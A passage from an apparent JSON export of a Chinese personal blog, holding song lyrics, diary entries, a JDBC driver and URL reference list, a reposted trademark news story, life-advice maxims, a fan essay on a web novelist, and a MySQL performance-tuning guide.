颤抖的嘴唇 蜷在屋子一角，哭了起来 越是拼命挣扎，越是将伤口撕裂 那被打碎的约定，伤害了我 没人可以拯救我 神灵只有一位 能止住开裂的 是我的爱 我需要你的爱，我是一朵残破的玫瑰 凌乱舞步的悲伤，是你的歌 居无定所的孤独，是我的生活 我需要你的爱，我是一朵残破的玫瑰 亲爱的，请将我从这冻结的伤痛中拯救 用你的微笑，你的眼眸，你的歌，只为了我 我需要你的爱 我是朵残破的玫瑰 我需要你的爱 当你在身边的那时 追逐着你的影子 赤着脚狂奔 请停下我 越是闭上眼，越是被爱纠缠 轻缓温柔的，请亲吻我 没人可以拯救我 像封冻的玫瑰 想要温柔的睡去 留下眼泪 我需要你的爱，我是一朵残破的玫瑰 凋零坠落的悲伤，是我的灵魂 因离别而孤独的，小女孩 我需要你的爱，我是一朵残破的玫瑰 亲爱的，请将我从这冻结的伤痛中拯救 用你的微笑，你的眼眸，你的歌，只为了我 我需要你的爱 我是朵残破的玫瑰 我需要你的爱 我需要你的爱，我是一朵残破的玫瑰 凌乱舞步的悲伤，是你的歌 居无定所的孤独，是我的生活 我需要你的爱，我是一朵残破的玫瑰 亲爱的，请将我从这冻结的伤痛中拯救 用你的微笑，你的眼眸，你的歌，只为了我 我需要你的爱 我是朵残破的玫瑰 我需要你的爱","title":"Rose – ANNA inspi’NANA( BLACK STONES )"},{"content":"蜗居\u0026#8211;宋\u0026#8211;小贝\u0026#8211;海藻。。。。。\n","permalink":"https://hessian.cn/p/357.html","summary":"蜗居\u0026#8211;宋\u0026#8211;小贝\u0026#8211;海藻。。。。。\n","title":"—–"},{"content":"Title ：Mrs. Robota\nArtist ：Modern Talking\nOh everyday and just everynight\nI see your face babe\nOn my laptop screen\nYou\u0026#8217;re high and low and just between\n。。。\nOh everyday and just everynight\nI send an Email to the dream factory\nI asked if you\u0026#8217;re reality\nBut more and more\nI like you more than just before\n。。。\nOh la da die, oh la da da\nOnly a vision, Mrs. Robota\nOh, oh, oh la da die, oh la da da\nOnly a computer, without a heart\n。。。\nOh, Mrs. Robota\nJust a fantasy can\u0026#8217;t break my heart\nMrs. Robota, only a fiction\nRight from the starts\nAlways it\u0026#8217;s impossible\n。。。\nOh every morning, when I wake up\nI push the bottom for a brand new game\nCan\u0026#8217;t live without you, it\u0026#8217;s a shame\nI hear your voice, and I see your face\nI can\u0026#8217;t beleve, oh babe you blow my mind\nThere is no answer, I can find\nAnd more and more\nI like you more than just before\n。。。\nOh la da die, oh la da da\nOnly a vision, Mrs. Robota\nOh, oh, oh la da die, oh la da da\nOnly a computer, without a heart\n。。。\nOh, Mrs. Robota\nJust a fantasy can\u0026#8217;t break my heart\nMrs. Robota, only a fiction\nRight from the starts\nAlways it\u0026#8217;s impossible\n。。。\nOh la da die, oh la da da\nOnly a vision, Mrs. Robota\nOh, oh, oh la da die, oh la da da\nOnly a computer, without a heart\n。。。\nOh la da die, oh la da da\nOnly a vision, Mrs. Robota\nOh, oh, oh la da die, oh la da da\nOnly a computer, without a heart\n。。。\nWithout a heart\n。。。\n≡≡≡≡≡≡≡≡≡≡≡≡≡≡\n","permalink":"https://hessian.cn/p/645.html","summary":"Title ：Mrs. Robota\nArtist ：Modern Talking\nOh everyday and just everynight\nI see your face babe\nOn my laptop screen\nYou\u0026#8217;re high and low and just between\n。。。\nOh everyday and just everynight\nI send an Email to the dream factory\nI asked if you\u0026#8217;re reality\nBut more and more\nI like you more than just before\n。。。\nOh la da die, oh la da da\nOnly a vision, Mrs. Robota\nOh, oh, oh la da die, oh la da da\nOnly a computer, without a heart\n。。。\nOh, Mrs. Robota\nJust a fantasy can\u0026#8217;t break my heart\nMrs. Robota, only a fiction\nRight from the starts\nAlways it\u0026#8217;s impossible\n。。。\nOh every morning, when I wake up\nI push the bottom for a brand new game\nCan\u0026#8217;t live without you, it\u0026#8217;s a shame\nI hear your voice, and I see your face\nI can\u0026#8217;t beleve, oh babe you blow my mind\nThere is no answer, I can find\nAnd more and more\nI like you more than just before\n。。。\nOh la da die, oh la da da\nOnly a vision, Mrs. Robota\nOh, oh, oh la da die, oh la da da\nOnly a computer, without a heart\n。。。\nOh, Mrs. Robota\nJust a fantasy can\u0026#8217;t break my heart\nMrs. Robota, only a fiction\nRight from the starts\nAlways it\u0026#8217;s impossible\n。。。\nOh la da die, oh la da da\nOnly a vision, Mrs. Robota\nOh, oh, oh la da die, oh la da da\nOnly a computer, without a heart\n。。。\nOh la da die, oh la da da\nOnly a vision, Mrs. Robota\nOh, oh, oh la da die, oh la da da\nOnly a computer, without a heart\n。。。\nWithout a heart\n。。。\n≡≡≡≡≡≡≡≡≡≡≡≡≡≡\n","title":"[歌词]Mrs. Robota"},{"content":"经常12点上床睡觉。。。结果滚啊滚滚到2点钟才睡着。。。也不知道在想些什么。。。\n然后很奇怪的每天6，7点左右就会醒。。。天哦。。以前不到8点半闹钟想个好几遍都根本不会醒。。。\n前几天还说想调整一下作息时间，10点就去睡觉，结果2点半就醒了。。。还TM睡不着了。。。\n靠。。。害我半夜爬起来打了一晚上游戏。。。一直到下午吃晚饭才又补了一觉。。。\n要TM崩溃了。。\n","permalink":"https://hessian.cn/p/646.html","summary":"经常12点上床睡觉。。。结果滚啊滚滚到2点钟才睡着。。。也不知道在想些什么。。。\n然后很奇怪的每天6，7点左右就会醒。。。天哦。。以前不到8点半闹钟想个好几遍都根本不会醒。。。\n","title":"睡不着呢。。。。。"},{"content":"早上8点37分起床\n本来设定的闹钟是8点10分，结果手机居然死机了。。\n等我自然醒的时候已经是8点37了。。哈哈。。\n匆匆洗漱之后骑着自行车就往公司赶。\n去到公司楼下，跟往常一样照例买了个苹果派，一袋牛奶，一袋红枣酸奶当作今天的早餐。\n到了公司，测试告诉我BOSS让我把昨天没装完的服务器装完。那是公司昨天才买的服务器，一台Dell的R410。系统实际上已经装的差不多了，就是输个序列号而已，轻松搞定。\n回到自己桌子，打开笔记本，照例打开 www.qidian.com把正在跟的基本连载小说的最新章节看完。真是无奈，看连载感觉就跟挤牙膏似的，有时候还挤不出来。\n然后就是修改网通的几个BUG，跟测试一直在调试，感觉很郁闷，发现好像最近犯低级错误的频率好像越来越高了。\n嗯。。。这都是上午。。。然后从午饭继续。。\n12点左右，跟两个同事一块出去吃饭，另外还有两个客户的公司过来的人也一块去了，本来我是打算去吃锅贴的，结果他们说要去吃驴肉火烧，╮(╯_╰)╭，毕竟人家是客，也就顺着了，其实我对驴肉火烧那种东西没什么兴趣，风格不够“南方”。不过好在午饭是他们付的钱。。哈，虽然才几十块。\n吃晚饭回到公司，眼皮子又照例。。照例的开始打架。。话说我以前都没睡午觉的习惯，好像今年不知道什么时候起下午就老容易犯困，难道是老了么？\n撑着了，其实感觉睡意也不是那么浓，干脆上 www.csdn.net.cn去看了看业界新闻，不知道从哪又逛到 www.people.com.cn上去了。噢，好像是某个QQ群里发的连接，是去为春节长假延期投票去了。\n然后顺便看了几篇新闻，什么被宋美龄压制的好莱坞华裔女星，什么张柏芝与谢霆锋又怎么怎么滴。。。\n无聊的可以。。。\n本来不想看小说的，实在不知道干嘛了，又把 www.qidian.com打开，找了本小说慢慢看着。。\n然后一直折腾啊，这跑跑，那瞧瞧，也不知道怎么弄的就到晚上7点半了。。。肚子饿的呱呱叫，看剩下的几个同事没一个有要回家的迹象，赶紧自己收拾东西撤退。。\n","permalink":"https://hessian.cn/p/432.html","summary":"早上8点37分起床\n本来设定的闹钟是8点10分，结果手机居然死机了。。\n等我自然醒的时候已经是8点37了。。哈哈。。\n匆匆洗漱之后骑着自行车就往公司赶。\n去到公司楼下，跟往常一样照例买了个苹果派，一袋牛奶，一袋红枣酸奶当作今天的早餐。\n","title":"流水···10月22日"},{"content":"ODBC\u0026#160; driver\nsun.jdbc.odbc.JdbcOdbcDriver\njdbc:odbc:name\n用 COM.ibm.db2.jdbc.net.DB2Driver 连接到 DB2 数据库\n一个 DB2 URL 的示例:\njdbc:db2://aServer.myCompany.com:50002/name\n用 com.sybase.jdbc.SybDriver连接到 Sybase 数据库\n一个 Sybase URL 的示例:\njdbc:sybase:Tds:aServer.myCompany.com:2025\nMySQL driver\ncom.mysql.jdbc.Driver\njdbc:mysql://hostname:3306/dbname?useUnicode=true\u0026amp;characterEncoding=GBK\nMicrosoft SQL Server Driver\ncom.microsoft.jdbc.sqlserver.SQLServerDriver\njdbc:microsoft:sqlserver://127.0.0.1:1433;DatabaseName=WapSvc;User=sa;Password=pwd\nInformix\ncom.informix.jdbc.IfxDriver\njdbc:informix-sqli://hostname:1526/dbname:INFORMIXSERVER=informixservername;user=username;password=password\nOracle\noracle.jdbc.driver.OracleDriver\njdbc:oracle:thin:@hostname:1521:\u0026lt;SID\u0026gt;\nPostgresql\norg.postgresql.Driver\njdbc:postgresql://localhost/soft\nApache Derby/Java DB\norg.apache.derby.jdbc.ClientDriver\njdbc:derby://localhost:1527/databaseName;create=true\nAccess 是通过 ODBC 连接的. Excel 也可以. 甚至可以动态构造连接字符串:\n这样可以直接连接到 Access 数据库文件.\njdbc:odbc:DRIVER={Microsoft Access Driver (*.mdb)};DBQ=c:mydata.mdb\n类似的 Excel 文件也可以用类似方法:\njdbc:odbc:Driver={Microsoft Excel Driver (*.xls)};DBQ=.mydata.xls\n转自：http://www.blogjava.net/beansoft/archive/2007/09/22/147366.html\n","permalink":"https://hessian.cn/p/627.html","summary":"ODBC\u0026#160; driver\nsun.jdbc.odbc.JdbcOdbcDriver\njdbc:odbc:name\n用 COM.ibm.db2.jdbc.net.DB2Driver 连接到 DB2 数据库\n一个 DB2 URL 的示例:\njdbc:db2://aServer.myCompany.com:50002/name\n用 com.sybase.jdbc.SybDriver连接到 Sybase 数据库\n一个 Sybase URL 的示例:\njdbc:sybase:Tds:aServer.myCompany.com:2025\n","title":"[转]常用 JDBC 驱动名字和 URL 列表"},{"content":"我真的很寂寞。。。\n","permalink":"https://hessian.cn/p/602.html","summary":"我真的很寂寞。。。\n","title":"NUL"},{"content":"今天想起去绑定WOW战网帐号，无意间想起了曾经关注过的暴雪某游戏[STARCRAFT:GHOST]，于是去拜\n了拜G大神，问问发布了没有，结果却搜到下面这个囧新闻（2008年的）。\n涉及宣扬迷信 暴雪STARCRAFT:GHOST商标注册被驳 新闻来源:中国法院网\n美国著名游戏公司暴雪娱乐有限公司向中国工商行政管理总局 申请，将《星际争霸》新作——《STARCRAFT:GHOST》英文名称注册为电子竞技服务等项目的商标，结果遭到工商局商标评审委员会驳回，理由是该名称涉及宣扬封建迷信。为此，暴雪公司向北京市第一中级人民法院提起诉讼，要求法院撤销商评委作出的“STARCRAFT:GHOST”商标驳回复审决定。今天上午，记者从法院获悉，暴雪公司的诉讼请求未获法院支持。\n\u0026#160; \u0026#160;\u0026#160; \u0026#160; 暴雪娱乐有限公司以开发《星际争霸》、《魔兽争霸》等众多网络游戏在全球知名。1998年，该公司推出的即时战略类电脑游戏“STARCRAFT”《星际争霸》风靡全球，该游戏也成为当前世界电子竞技比赛的四大项目之一。\n而“STARCRAFT:GHOST”商标注册被驳，商评委给出的理由是，“STARCRAFT:GHOST”属于易产生不良影响的词汇，有“占星术 ”和“幽灵”的含义，属于有违社会主义道德风尚的封建迷信。\n商评委认为，商标除了具有表明商品来源，还是一种具有文化宣传导向作用的载体，不能带有任何可能产生负面影响的情形。“占星术幽灵”无论从哪个角度上说都与社会主义道德风尚不符，如不制止则会有大量相同性质的文字商标充斥商标领域。\n商标遭驳后，暴雪公司向法院起诉称，该公司申请在游戏新闻、电子竞技服务等项目上注册“STARCRAFT:GHOST”商标是为了在公司网络游戏服务平 台Battle.net上提供相关信息和游戏服务，绝不是为了宣扬封建迷信或搞违法迷信活动。“STARCRAFT:GHOST”是电脑游戏名称，与迷信 无关，不会产生不良影响。而且该公司已经在第9类商品“计算机游戏软件”上注册了第4809949号“STARCRAFT:GHOST”商标，说明该商标 具有注册性。\n此外，暴雪公司还提交了大量从百度、谷歌搜索到的网页，用以证明“STARCRAFT:GHOST”翻译为《星际争霸：幽灵》，只是游戏名称，和封建迷信无关。\n今天上午，从北京市第一中级人民法院了解到，暴雪公司的诉讼请求已经被法院驳回，一中院认为“STARCRAFT:GHOST”文字作为商标使用容易导致不良影响。据了解，暴雪公司已经就此案提起上诉。\n原帖地址：http://www.cnbeta.com/articles/76985.htm\n","permalink":"https://hessian.cn/p/337.html","summary":"今天想起去绑定WOW战网帐号，无意间想起了曾经关注过的暴雪某游戏[STARCRAFT:GHOST]，于是去拜\n了拜G大神，问问发布了没有，结果却搜到下面这个囧新闻（2008年的）。\n","title":"水产委员会们再出狠招！ Starcraft:Ghost 商标注册。。。"},{"content":"A distribution point for Windows binaries for Vim, both Win32 and Win64.\nhttp://code.google.com/p/vim-win3264/\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n前天刚装了windows 7 x64\n结果装上gvim之后发现右键菜单始终出不来，但是在我PC上（windows 7 x86）上又运行良好，于是猜测可能跟平台兼容性有关，果不其然就找到了这个东西。\n","permalink":"https://hessian.cn/p/502.html","summary":"A distribution point for Windows binaries for Vim, both Win32 and Win64.\nhttp://code.google.com/p/vim-win3264/\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n前天刚装了windows 7 x64\n结果装上gvim之后发现右键菜单始终出不来，但是在我PC上（windows 7 x86）上又运行良好，于是猜测可能跟平台兼容性有关，果不其然就找到了这个东西。\n","title":"64位gvim for windows"},{"content":"1、一定要相信30岁很快就会到来，无论你是在魔兽、cs还是蹦迪泡吧，就算装得再嫩，岁月总会在你的心里留下烙 印，掩饰永远都不能改变事实，办法只有一个：提前做好准备，即使你现在只有18岁，脸皮还能掐的水来。30岁一过，一样是人老珠黄一根草而已，所以要是不能提前装填自己的心理内涵，等着人见人烦吧。\n2、勿以善小而不为，勿以恶小而为之。不管你对生活已经有了多深的认识，在许多方面最好听听父母的建议，甚至最好完全按照他们的吩咐去做，抛开老祖宗遗留下来的传统以外，他们毕竟比我们早活了几十年，对这个残酷社会的认识远远超过我们，哪怕大字 认不了几筐。30岁一过，你看任何事和他们当年看你是基本一致的，那时候肠子悔青都已经无济于事。\n3、一定要知道自己有几个朋友是能帮助自己的，有几个朋友只是混吃混喝的，还有几个朋友是可有可无的，还有几个朋友是要小心提防的，最好搞清楚他（她）们的家人是干嘛的，因为不管是什么样的朋友，你总有用的着的一天。30岁以后你会发现，那些成功人士，身边都会有一个或者一批很大的关系网，而维系它们的几乎都是朋友。\n4、30岁以前的未婚男人可以多交几个女朋友，这样你可以学到许多东西。但是性关系一定要保持稳定，同一个月的几个周末的晚上，躺在你身边的最好不要出现不同的女人，不要认为男人的名声就不重要，香蕉要是烂了，和苹果一个德行。等人尽皆知的时候,你会后悔生在这个城市或者国家。（女人同上）\n5、初恋永远都是最好的。所以不管你的初恋有多么多么的不堪，不管对方有多么多么的青涩，哪怕是鼻涕已经过了黄河，记住一定不要伤害他（她），哪怕最后还是要分手，30岁以后他（她）将是你心中那条唯一清澈见底的溪流。而你的伤害往往会左右了一个人今后的交友取向。\n6、第一次ML最好不要看的太重。这是很难做到但必须做到的，这并不是告诉你你可以乱来，原因可以参看第4条，说这句话主要是这个世界诱惑实在太多，而你又实在太年轻，很可能会在第二天醒来的时候发现身边躺着的不是最爱的人，这个醒来的时间可能会延迟很久，假如你不懂得及时看清现实，非要计较自己的第一次给了谁，当第二次来的时候，等待你的将是更大的伤害。这一条你可以理解为把第一次留给最爱你的人。（请注意：不是你最爱的人）\n7、30岁以前一定要在家庭和自己条件允许并且有节制的情况下，尽可能的多花点钱，尽可能的多了解点这世上的新鲜事，尽可能的多买点书，尽可能的多吃点各式各样的食物，尽可能的多为自己添置点衣服，说这一点不是告诉你可以穷奢极欲，30岁以后你会发现钱多少都不够，会发现这世界你不懂得东西实在太多太多，你会后悔书读的太少，你会发现对许多食物已经没有胃口，你会发现你已经穿不上很多看上去非常好看的衣服。\n8、30岁以前这个世上最可能不会背叛你的就是你自己的身体，而30岁以后最可能 会背叛你的也是你自己的身体。30岁以前你可以胡吃海喝，可以灯红酒绿，可以坐在电脑前cs一宿不睡把眼珠子熬的像刚吃过人肉，可以连着把一盒戳腚棍子抽光弄得隔壁报警说怀疑你家有人纵火。30岁以后，你的身体就会用各种疾病告诉你，当年一定是脑子被驴踢了，才会那么折腾自己。\n9、一定要学会做饭，一定要学会洗衣服，一定要学会自己照顾自己，一定要学会最起码的生存之道， 在这方面父母是最好的老师，他们也会非常乐意的教导你这些，最好清楚男人和女人最基本的卫生和健康之道，最好知道几条生活中的小窍门，最好掌握一个或者几个拿手菜。谁都有独自面对生活的那一天。30岁以后，要是你连个袜子都不会洗，做的菜连猪都能咸死的话，除非比尔盖茨是你干爹，否则你再有钱也一样会被人鄙视。（总有一天）。\n10、遇到自己爱的人一定要勇敢的去争取，假如她真的值得你去争取，到手了不要把他（她） 揣兜里时间太长，经常拿出来在阳光底下晾一晾，此举不仅能昭告天下名花有主，更可以对你们的爱情进行一番考验，不要把爱情谈得太久，不要等对方的身体熟悉 到屁股上有几个痦子都清楚的地步，在没达到最热烈的时候该结婚就结婚，豆腐都是好豆腐，时间长了一样变质，王致和虽然味道不错，但毕竟不是人人都能接受 的，什么单身主义，什么惧怕围城，30岁以后，你会发现哪怕是年少时那个留着清鼻涕蹲在你家楼后面痴痴等你一宿的傻东西向你求婚，你都愿意答应他，你会发 现条件会越来越低，有时你的念头会让自己都看不起自己，有时你会痛哭这世界真变态，连个值得爱的人都找不到。酒是陈的香，可是相信我，你绝对成不了法国庄园里的波尔多。\n","permalink":"https://hessian.cn/p/442.html","summary":"1、一定要相信30岁很快就会到来，无论你是在魔兽、cs还是蹦迪泡吧，就算装得再嫩，岁月总会在你的心里留下烙 印，掩饰永远都不能改变事实，办法只有一个：提前做好准备，即使你现在只有18岁，脸皮还能掐的水来。30岁一过，一样是人老珠黄一根草而已，所以要是不能提前装填自己的心理内涵，等着人见人烦吧。\n","title":"[转]分割30岁"},{"content":"http://forum.qidian.com/threaddetailnew.aspx?threadid=118497906\n（1）梦入神机史前论，黑山老妖见真君。\n07年6月23日我在起点建立了账号。随后不久在首页见到了黑山老妖，从此陷入了每天等待更新的日子。\n本人看书要合乎己心，不让人觉得矫情的才能深看。\n对 于黑山老妖，看了第一节，我就沦陷了，大叹终遇知心人。其中浑然大气的描写，酣畅淋漓的述说，每一下都敲击在心弦，引起灵魂的震荡。不矫揉造作，生杀予夺 一念之间，不优柔寡断，爱恨情仇明明白白。有豪情万丈的张狂，真英雄大魔头恍若一体；有柔情似水的体贴，平平淡淡中可以品出真情。\n记得我曾推荐黑山老妖给一好友对他诉说那个练铁砂掌，十步杀一人，千里不留行的少年达N次。搞得他都是郁闷地用四个字打断我——“你讲过了”。\n后来我曾三度看佛本是道，第一次境界未到不能体会只看了开头。第二次，稍有领会续看了一部分。第三次，突入佳境，嗜之如狂，看完之后意犹未尽。终于领会到那种于大道中求存的生的意韵。\n从黑山老妖认识梦入神机，经佛本是道深入体会神机，到龙蛇演义转型之作，我发现了一个事实：只要是神机的书，我一定喜欢。\n（2）读书如行路，明鉴有真知。\n现在就一方面说说这三本书\n佛 本是道，借用一系列人性化的神话人物，述说人对自身命运的缔造，在无情的天道下求存的挣扎,道出了社会的残酷。黑山老妖，讲述背叛的部下与忠诚的支持者围 绕旧主的对抗故事，道出了人心的复杂，开始时可以赴汤蹈火的跟随，后来也会因为观念不同,势成水火。龙蛇演义，萍水相逢的人可以结出至死不渝的情谊，道出 了我们所呵护的那一点真善美。\n可以说神机的书，有格物致知之力，参玄悟道之功。里面有很多可以学的社会见识，有很多平淡而真实的道理。\n但是神机的书又岂是三言两语，几个方面，能够说尽的，望大家仔细品读，得取其需。\n（3）观念偏见可暂抛，用心品味为上着。\n其实看书不单单是看故事，还要去体会故事中的人，感他们之所感，想他们之所想，所以才真切动人，所以才回肠荡气、惊心动魄。\n梦入神机写出的独树一格的人物风采，给人的感觉，套用作者的话,让人觉得那就是千百年前的自己。作者正是感世人之所感，想世人之所想，爱世人之所爱，写出了我们想到却不甚明白的事，说出了我们倾心却未曾一会的人。\n话说曹雪芹的红楼梦是：“满纸荒唐言，一把辛酸泪；都云作者痴，谁解其中味。” 一代大师、文学名著，尚且如此。有人说神机的书，荒诞无稽，只知一个“杀”字，可见他没有用心去感受过。\n大作，看到了是福气，没看到是损失。\n（4）奇文共欣赏，妙言传千秋\n他文字功夫极佳，塑造人物有血有肉，故事情节引人入胜，道理哲学浮现其中，人生态度明心见性，我们不喜欢他喜欢谁，不支持他支持谁。\n不管将来活跃在文坛的是谁，不管还会出多少经典大作，梦入神机的书永远留在了一些人心中，因为那是烙在心底的印记。\n","permalink":"https://hessian.cn/p/582.html","summary":"http://forum.qidian.com/threaddetailnew.aspx?threadid=118497906\n（1）梦入神机史前论，黑山老妖见真君。\n07年6月23日我在起点建立了账号。随后不久在首页见到了黑山老妖，从此陷入了每天等待更新的日子。\n本人看书要合乎己心，不让人觉得矫情的才能深看。\n对 于黑山老妖，看了第一节，我就沦陷了，大叹终遇知心人。其中浑然大气的描写，酣畅淋漓的述说，每一下都敲击在心弦，引起灵魂的震荡。不矫揉造作，生杀予夺 一念之间，不优柔寡断，爱恨情仇明明白白。有豪情万丈的张狂，真英雄大魔头恍若一体；有柔情似水的体贴，平平淡淡中可以品出真情。\n记得我曾推荐黑山老妖给一好友对他诉说那个练铁砂掌，十步杀一人，千里不留行的少年达N次。搞得他都是郁闷地用四个字打断我——“你讲过了”。\n后来我曾三度看佛本是道，第一次境界未到不能体会只看了开头。第二次，稍有领会续看了一部分。第三次，突入佳境，嗜之如狂，看完之后意犹未尽。终于领会到那种于大道中求存的生的意韵。\n从黑山老妖认识梦入神机，经佛本是道深入体会神机，到龙蛇演义转型之作，我发现了一个事实：只要是神机的书，我一定喜欢。\n","title":"[转]性之所向，道之所存。说说书友喜欢神机的一些理由！ 1楼"},{"content":"一、我们可以且应该优化什么？ 硬件\n操作系统/软件库\nSQL服务器(设置和查询)\n应用编程接口(API)\n应用程序\n二、优化硬件\n如果你需要庞大的数据库表(\u0026gt;2G)，你应该考虑使用64位的硬件结构，像Alpha、Sparc或即将推出的IA64。因为MySQL内部使用大量64位的整数，64位的CPU将提供更好的性能。\n对大数据库，优化的次序一般是RAM、快速硬盘、CPU能力。\n更多的内存通过将最常用的键码页面存放在内存中可以加速键码的更新。\n如果不使用事务安全(transaction-safe)的表或有大表并且想避免长文件检查，一台UPS就能够在电源故障时让系统安全关闭。\n对于数据库存放在一个专用服务器的系统，应该考虑1G的以太网。延迟与吞吐量同样重要。\n三、优化磁盘\n为系统、程序和临时文件配备一个专用磁盘，如果确是进行很多修改工作，将更新日志和事务日志放在专用磁盘上。\n低寻道时间对数据库磁盘非常重要。对与大表，你可以估计你将需要log(行 数)/log(索引块长度/3*2/(键码长度 + 数据指针长度))+1次寻到才能找到一行。对于有500000行的表，索引Mediun int类型的列，需要log(500000) / log(1024/3*2/(3 + 2))+1=4次寻道。上述索引需要500000*7*3/2=5.2M的空间。实际上，大多数块将被缓存，所以大概只需要1-2次寻道。\n然而对于写入（如上），你将需要4次寻道请求来找到在哪里存放新键码，而且一般要2次寻道来更新索引并写入一行。\n对于非常大的数据库，你的应用将受到磁盘寻道速度的限制，随着数据量的增加呈N log N数据级递增。\n将数据库和表分在不同的磁盘上。在MySQL中，你可以为此而使用符号链接。\n条列磁盘(RAID 0)将提高读和写的吞吐量。\n带镜像的条列(RAID 0+1)将更安全并提高读取的吞吐量。写入的吞吐量将有所降低。\n不要对临时文件或可以很容易地重建的数据所在的磁盘使用镜像或RAID(除了RAID 0)。\n在Linux上，在引导时对磁盘使用命令hdparm -m16 -d1以启用同时读写多个扇区和DMA功能。这可以将响应时间提高5~50%。\n在Linux上，用async (默认)和noatime挂载磁盘(mount)。\n对于某些特定应用，可以对某些特定表使用内存磁盘，但通常不需要。\n四、优化操作系统\n不要交换区。如果内存不足，增加更多的内存或配置你的系统使用较少内存。\n不要使用NFS磁盘(会有NFS锁定的问题)。\n增加系统和MySQL服务器的打开文件数量。(在safe_mysqld脚本中加入ulimit -n #)。\n增加系统的进程和线程数量。\n如果你有相对较少的大表，告诉文件系统不要将文件打碎在不同的磁道上(Solaris)。\n使用支持大文件的文件系统(Solaris)。\n选择使用哪种文件系统。在Linux上的Reiserfs对于打开、读写都非常快。文件检查只需几秒种。\n五、选择应用编程接口\nPERL\n可在不同的操作系统和数据库之间移植。\n适宜快速原型。\n应该使用DBI/DBD接口。\nPHP\n比PERL易学。\n使用比PERL少的资源。\n通过升级到PHP4可以获得更快的速度。\nC\nMySQL的原生接口。\n较快并赋予更多的控制。\n低层，所以必须付出更多。\nC++\n较高层次，给你更多的时间来编写应用。\n仍在开发中\nODBC\n运行在Windows和Unix上。\n几乎可在不同的SQL服务器间移植。\n较慢。MyODBC只是简单的直通驱动程序，比用原生接口慢19%。\n有很多方法做同样的事。很难像很多ODBC驱动程序那样运行，在不同的领域还有不同的错误。\n问题成堆。Microsoft偶尔还会改变接口。\n不明朗的未来。(Microsoft更推崇OLE而非ODBC)\nODBC\n运行在Windows和Unix上。\n几乎可在不同的SQL服务器间移植。\n较慢。MyODBC只是简单的直通驱动程序，比用原生接口慢19%。\n有很多方法做同样的事。很难像很多ODBC驱动程序那样运行，在不同的领域还有不同的错误。\n问题成堆。Microsoft偶尔还会改变接口。\n不明朗的未来。(Microsoft更推崇OLE而非ODBC)\nJDBC\n理论上可在不同的操作系统何时据库间移植。\n可以运行在web客户端。\nPython和其他\n可能不错，可我们不用它们。\n六、优化应用\n应该集中精力解决问题。\n在编写应用时，应该决定什么是最重要的：\n速度\n操作系统间的可移植性\nSQL服务器间的可移植性\n使用持续的连接。.\n缓存应用中的数据以减少SQL服务器的负载。\n不要查询应用中不需要的列。\n不要使用SELECT * FROM table_name\u0026#8230;\n测试应用的所有部分，但将大部分精力放在在可能最坏的合理的负载下的测试整体应用。通过以一种模块化的方式进行，你应该能用一个快速“哑模块”替代找到的瓶颈，然后很容易地标出下一个瓶颈。\n如果在一个批处理中进行大量修改，使用LOCK TABLES。例如将多个UPDATES或DELETES集中在一起。\n七、应该使用可移植的应用\nPerl DBI/DBD\nODBC\nJDBC\nPython(或其他有普遍SQL接口的语言)\n你应该只使用存在于所有目的SQL服务器中或可以很容易地用其他构造模拟的SQL构造。[url]www.mysql.com上的Crash-me页可以帮助你。[/url]\n为操作系统/SQL服务器编写包装程序来提供缺少的功能。\n八、如果你需要更快的速度，你应该：\n找出瓶颈(CPU、磁盘、内存、SQL服务器、操作系统、API或应用)并集中全力解决。\n使用给予你更快速度/灵活性的扩展。\n逐渐了解SQL服务器以便能为你的问题使用可能最快的SQL构造并避免瓶颈。\n优化表布局和查询。\n使用复制以获得更快的选择(select)速度。\n如果你有一个慢速的网络连接数据库，使用压缩客户/服务器协议。\n不要害怕时应用的第一个版本不能完美地移植，在你解决问题时，你总是可以在以后优化它。\n九、优化MySQL\n挑选编译器和编译选项。\n位你的系统寻找最好的启动选项。\n通读MySQL参考手册并阅读Paul DuBios的《MySQL》一书。(已有中文版-译注)\n多用EXPLAIN SELECT、SHOW VARIABLES、SHOW STATUS和SHOW PROCESSLIST。\n了解查询优化器的工作原理。\n优化表的格式。\n维护你的表(myisamchk、CHECK TABLE、 OPTIMIZE TABLE)\n使用MySQL的扩展功能以让一切快速完成。\n如果你注意到了你将在很多场合需要某些函数，编写MySQL UDF函数。\n不要使用表级或列级的GRANT，除非你确实需要。\n购买MySQL技术支持以帮助你解决问题:)\n十、编译和安装MySQL\n通过位你的系统挑选可能最好的编译器，你通常可以获得10-30%的性能提高。\n在Linux/Intel平台上，用pgcc(gcc的奔腾芯片优化版)编译MySQL。然而，二进制代码将只能运行在Intel奔腾CPU上。\n对于一种特定的平台，使用MySQL参考手册上推荐的优化选项。\n一般地，对特定CPU的原生编译器(如Sparc的Sun Workshop)应该比gcc提供更好的性能，但不总是这样。\n用你将使用的字符集编译MySQL。\n静态编译生成mysqld的执行文件(用\u0026#8211;with-mysqld-ldflags=all-static)并用strip sql/mysqld整理最终的执行文件。\n注意，既然MySQL不使用C++扩展，不带扩展支持编译MySQL将赢得巨大的性能提高。\n如果操作系统支持原生线程，使用原生线程(而不用mit-pthreads)。\n用MySQL基准测试来测试最终的二进制代码。\n十一、维护\n如果可能，偶尔运行一下OPTIMIZE table，这对大量更新的变长行非常重要。\n偶尔用myisamchk -a更新一下表中的键码分布统计。记住在做之前关掉MySQL。\n如果有碎片文件，可能值得将所有文件复制到另一个磁盘上，清除原来的磁盘并拷回文件。\n如果遇到问题，用myisamchk或CHECK table检查表。\n用mysqladmin -i10 precesslist extended-status监控MySQL的状态。\n用MySQL GUI客户程序，你可以在不同的窗口内监控进程列表和状态。\n使用mysqladmin debug获得有关锁定和性能的信息。\n十二、优化SQL\n扬SQL之长，其它事情交由应用去做。使用SQL服务器来做：\n找出基于WHERE子句的行。\nJOIN表\nGROUP BY\nORDER BY\nDISTINCT\n不要使用SQL来做：\n检验数据(如日期)\n成为一只计算器\n技巧：\n明智地使用键码。\n键码适合搜索，但不适合索引列的插入/更新。\n保持数据为数据库第三范式，但不要担心冗余信息或这如果你需要更快的速度，创建总结表。\n在大表上不做GROUP BY，相反创建大表的总结表并查询它。\nUPDATE table set count=count+1 where key_column=constant非常快。\n对于大表，或许最好偶尔生成总结表而不是一直保持总结表。\n充分利用INSERT的默认值。\n十三、不同SQL服务器的速度差别（以秒计）\n通过键码读取2000000行： NT Linux\nmysql 367 249\nmysql_odbc 464\ndb2_odbc 